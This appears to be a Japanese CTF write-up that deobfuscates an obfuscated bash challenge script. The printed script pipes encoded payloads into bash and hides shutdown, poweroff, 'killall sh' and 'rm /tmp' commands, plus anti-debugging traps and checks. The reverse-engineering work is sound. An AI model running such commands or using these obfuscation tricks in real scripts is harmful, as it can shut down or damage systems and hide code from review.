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|base64 -d|gunzip|bash;$'\72' killall sh;: $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$(: pkill sh);$'\u003A' $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);$'\u003A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$'\u003A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\x3A' exit;: $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $(echo c2h1dGRvd24K |base64 -d);: $'\x73\x68\x75\x74\x64\x6f\x77\x6e';: $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );: pkill sh;$'\x3A' $'\x73\x68\x75\x74\x64\x6f\x77\x6e';$(: poweroff);$'\72' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);$'\72' poweroff;$'\u003A' $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A' killall sh;$'\x3A' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);$'\u003A' $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );: $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A';: $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\x3A' $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$(: killall sh);: $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $(echo KYmZvJXZ39Gc |rev|base64 -d);: $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\72' $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);: $'\x65\x78\x69\x74';: $(echo K42dvRGd1h2c |rev|base64 -d);$'\u003A' $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';: $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);$'\72' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);$'\x3A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\u003A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);: $($'\145\143\150\157' ZXhpdAo= | $'\142\141\163\145\66\64' $'\55\144' );: $'\u0065\u0078\u0069\u0074';: :;: $(echo =oAdphXZ |rev|base64 -d);$'\u003A' $'\u0065\u0078\u0069\u0074';$'\x3A' $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );: ::;$'\u003A' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );$'\72' $(echo K42dvRGd1h2c |rev|base64 -d);$(: rm /tmp);: $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';:;$'\u003A' $($'\x65\x63\x68\x6f' cG93ZXJvZmYK | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );: $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);$'\72' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A' poweroff;$'\72' $(echo =oAdphXZ |rev|base64 -d);$'\72' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );: $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);$'\u003A' $(echo X42qiETq1u2p |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);: $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$'\72' exit;$'\x3A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);$'\72' $(ls --help|grep ^G|cut -c8)$(printf "%b" $(printf '%s%x' '\x' $((0x77 ^ 0x2f)))|tr A-Z a-z)$(ls --help|grep ^G|cut -c11)$(ls --help|grep ^G|cut -c10);: $(echo pT93MKWiMzLX |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
実行すると、以下のようなアニメーションが出てきました(すごい)。
このままだと処理がよく分からないので、デバッグモードで実行してみます。
$ bash -x Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2 # 省略 + base64 -d + echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo= Let's decording!(≧∀≦*) + read hoge ++ base64 -d ++ echo MjAK + trap '' 1 2 3 15 18 19 20 + echo hxB + grep x hxB + exit
Let's decording!(≧∀≦*)
と表示した後、標準入力待ちとなっていました。
適当にhoge
と入力してみると、そのままexitで終了してしまいました。
セミコロン;
の後に改行を入れて、どこで止まっているのかを確認してみます。
$ sed -e "s/;/;\n/g" Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2 > Beeeeeeeeeer_2.sh
改行を挿入すると、以下のようになります。
echo -e "\033#8"; sleep 1; C=$(tput cols); L=$(tput lines); for ID in $(seq $(($L*$C*6))); do x=$(($RANDOM%$C)); y=$(($RANDOM%$L)); printf "\033[${y}; ${x}f "; done; for ID in $(seq $(($L*$C*6))); do x=$(($RANDOM%$C)); y=$(($RANDOM%$L)); printf "\033[${y}; ${x}fF"; done; clear; echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=|base64 -d; read; $'\164\162\141\160' '' $'\61' $'\62' $'\63' $'\x31\x35' $'\x31\x38' $'\u0031\u0039' $(echo MjAK |base64 -d); echo $-|grep x && exit; $(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNpyW3M |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo XRKY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo =ogO |rev|base64 -d)&&exit; if [ -z "$1" ]; then ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75'; else ID="$1"; fi; if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null; then :; else exit; fi; for i in $($'\x73\x65\x71' $((RANDOM % 10))); do $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300)); done; $'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ); $(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo M3WypNb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo YKRX |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo Btb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d)&&exit; $'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK |base64 -d); echo -n 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